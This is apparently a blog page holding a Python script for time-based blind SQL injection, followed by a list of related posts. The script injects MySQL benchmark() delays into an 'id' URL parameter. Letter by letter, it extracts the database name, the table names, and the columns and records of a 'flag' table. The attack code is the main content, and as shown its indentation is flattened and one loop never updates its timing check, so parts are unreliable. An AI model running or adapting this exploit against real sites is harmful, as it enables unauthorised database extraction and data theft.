#author:windy_2
import requests
urlx = 'http://127.0.0.1/?id= 1 and if((substr((select database()),'
payloads = 'qwertyuiopasdfghjklzxcvbnm{}_0123456789' def guess_column(table):
string = ''
extend = 0
list = []
length2 = 0
num = []
num1 = []
url1 = 'http://127.0.0.1/?id= 1 and if(((select count(column_name) from information_schema.columns where table_name=\''+ table + '\')='
url2 = 'http://127.0.0.1/?id= 1 and if((substr((select column_name from information_schema.columns where table_name=\'' + table + '\' limit '
url3 = 'http://127.0.0.1/?id= 1 and if(((select length(column_name) from information_schema.columns where table_name=\'' + table + '\' limit '
url4 = 'http://127.0.0.1/?id= 1 and if(((substr((select '
url5 = 'http://127.0.0.1/?id= 1 and if(((select count('
url7 = 'http://127.0.0.1/?id= 1 and if(((select length('
for i in range(50): #获取字段数量
url = url1 + str(i) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
print(url)
time = r.elapsed.total_seconds()
print(time)
if time > 1.5:
extend = i
length2 = i
break
for k in range(extend):
st = ''
extend1 = 0
for m in range(100):
url = url3 + str(k) + ',1)=' + str(m) + '),benchmark(1000000,md5(\'test\')),NULL); %23' #获取字段长度
r = requests.get(url)
if time > 1.5:
extend1 = m
break
for i in range(1,extend1+1): #获取字段
for payload in payloads:
url = url2 + str(k) + ',1),' + str(i) + ',1)=\'' + payload + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
print(url)
st += payload
break
list.append(st)
num1.append(st)
length = 0
for i in range(1,10000): #获取记录数量
url = url5 + str(num1[0]) + ') from ' + table + ')=' + str(i) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
print(url)
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
length = i
break
for column in list:
str1 = ''
for i in range(length):
length1 = 0
url6 = url4 + str(column) + ' from ' + table + ' limit ' + str(i)
for k in range(100): #获取记录长度
url = url7 + str(column) + ') from '+ table + ' limit ' + str(i) + ',1)=' + str(k) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
print(url)
length1 = k
break
for n in range(1,length1+1): #获取记录
for payload in payloads:
url = url6 + ',1),' + str(n) + ',1))=\'' + str(payload) + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
print(url)
str1 += payload
break
num.append(str1)
str1 = ''
for column in num1:
print(column+' ',end='')
print('\n',end='')
for i in range(length2):
for k in range(length):
x = i + length * k
print(num[x]+' ',end='')
print('\n',end='')
def guess_table():
string = ''
extend = 0
list = []
url1 = 'http://127.0.0.1/?id= 1 and if(((select count(table_name) from information_schema.tables where table_schema=database())='
url2 = 'http://127.0.0.1/?id= 1 and if((substr((select table_name from information_schema.tables where table_schema=database() limit '
url3 = 'http://127.0.0.1/?id= 1 and if(((select length(table_name) from information_schema.tables where table_schema=database() limit '
for i in range(50):
url = url1 + str(i) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
extend = i
break
for k in range(extend):
st = ''
extend1 = 0
for m in range(100):
url = url3 + str(k) + ',1)=' + str(m) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
extend1 = m
break
for i in range(1,extend1+1):
for payload in payloads:
url = url2 + str(k) + ',1),' + str(i) + ',1)=\'' + payload + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
st += payload
break
list.append(st)
print('------------')
for i in list:
print(f'[*]{i}')
print('------------')
guess_column('flag') def main():
string = ''
url1 = 'http://127.0.0.1/?id= 1 and if((length(database())='
extend = 0
for k in range(20):
url = url1 + str(k) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
extend = k
break
for i in range(1,extend+1):
for payload in payloads:
url = urlx + str(i) + ',1)=\''
url = url + payload + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
string += payload
break
print(f'available database\n[*] {string}')
guess_table() main()

sql注入------基于时间延迟benchmark函数注入脚本的更多相关文章

  1. sql注入--基于报错的注入

    这是经典的sqli-labs 中的less-5 问题首先通过几个常见的进行测试, 发现只要正确的话就会输出you are in.... 并不能绕过,因此不能出现敏感信息,因此要用一种新思路(参考白帽学 ...

  2. 基于时间延迟的Python验证脚本

    自己写的一段Python脚本,经常拿来验证一些sqlmap等工具跑不出数据的网站. GET类型: import urllib import urllib2 import time payloads = ...

  3. Spring 依赖注入 基于构造函数、设值函数、内部Beans、集合注入

    Spring 基于构造函数的依赖注入_w3cschool https://www.w3cschool.cn/wkspring/t7n41mm7.html Spring 基于构造函数的依赖注入 当容器调 ...

  4. Spring 基于设值函数(setter方法)的依赖注入

    当容器调用一个无参的构造函数或一个无参的静态 factory 方法来初始化你的 bean 后,通过容器在你的 bean 上调用设值函数,基于设值函数的 DI 就完成了. 下述例子显示了一个类 Text ...

  5. sql盲注之报错注入(附自动化脚本)

    作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...

  6. Sql注入截取字符串常用函数

    在sql注入中,往往会用到截取字符串的问题,例如不回显的情况下进行的注入,也成为盲注,这种情况下往往需要一个一个字符的去猜解,过程中需要用到截取字符串.本文中主要列举三个函数和该函数注入过程中的一些用 ...

  7. 用于防SQL注入的几个函数

    不要相信用户的在登陆中输入的内容,需要对用户的输入进行处理 SQL注入: ' or 1=1 # 防止SQL注入的几个函数: addslashes($string):用反斜线引用字符串中的特殊字符' & ...

  8. 2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记

    phpmyadmin getshell方法1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';2,如果secure-file-p ...

  9. SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

随机推荐

  1. 实现js与Qt程序的交互(使用QtWebkit)

    在QtWebkit的javascript里访问QObject的最关键的关键就是下面这个方法: void QWebFrame::addToJavaScriptWindowObject ( const Q ...

  2. delphi dispose释放内存的方法

    delphi dispose释放内存的方法 2010-06-08 19:39:59|  分类: DELPHI |  标签: |举报 |字号大中小 订阅     dispose使用方法的简单介绍在本文末 ...

  3. SYN6105型 GPS子钟

    SYN6105型 GPS子钟 产品概述 SYN6105型GPS子钟是由西安同步电子科技有限公司精心设计.自行研发生产的一套以接收GPS卫星信号的子钟,从GPS地球同步卫星上获取标准时钟信号信息将这些时 ...

  4. Kafka笔记3

    向Kafka写入消息从创建一个ProducerRecord对象开始,ProducerRecord需要包含目标主题和要发送的内容,我们还可以指定键或分区,在发送ProducerRecord对象时,生产者 ...

  5. 音视频技术“塔尖”之争,网易云信如何C位出道?

    音视频技术“塔尖”之争,网易云信如何C位出道? 社交+美颜.抖音短视频.在线狼人杀.直播竞答.子弹短信……,过往两三年间,互联网新产品和新玩法层出不穷,风口不断切换.这些爆红的网络应用背后,都有一些共 ...

  6. HBase 学习之路(八)——HBase协处理器

    一.简述 在使用HBase时,如果你的数据量达到了数十亿行或数百万列,此时能否在查询中返回大量数据将受制于网络的带宽,即便网络状况允许,但是客户端的计算处理也未必能够满足要求.在这种情况下,协处理器( ...

  7. spring 5.x 系列第16篇 —— 整合dubbo (代码配置方式)

    文章目录 一. 项目结构说明 二.项目依赖 三.公共模块(dubbo-ano-common) 四. 服务提供者(dubbo-ano-provider) 4.1 提供方配置 4.2 使用注解@Servi ...

  8. Redis 安装和配置(一)

    一. mac下redis的安装 1. 官网http://redis.io/ 下载最新的稳定版本,这里是3.2.0 2. sudo mv 到 /usr/local/ 3. sudo tar -zxf r ...

  9. eclipse下jdbc数据源与连接池的配置及功能简介

    今天在做四则运算网页版的时候遇到了一个困惑,由于需要把每个产生的式子存进 数据库,所以就需要很多次重复的加载驱动,建立连接等操作,这样一方面写程序不方便,加大了程序量,另一方面,还有导致数据库的性能急 ...

  10. webpack打包工具的初级使用方法

    这里下载的是webpack的3.8.1版本(新版更新的使用有些问题) 什么是webpack? 他是一个前端资源加载或打包工具,. 资源: img css json等. 下载的话 用 npm webpa ...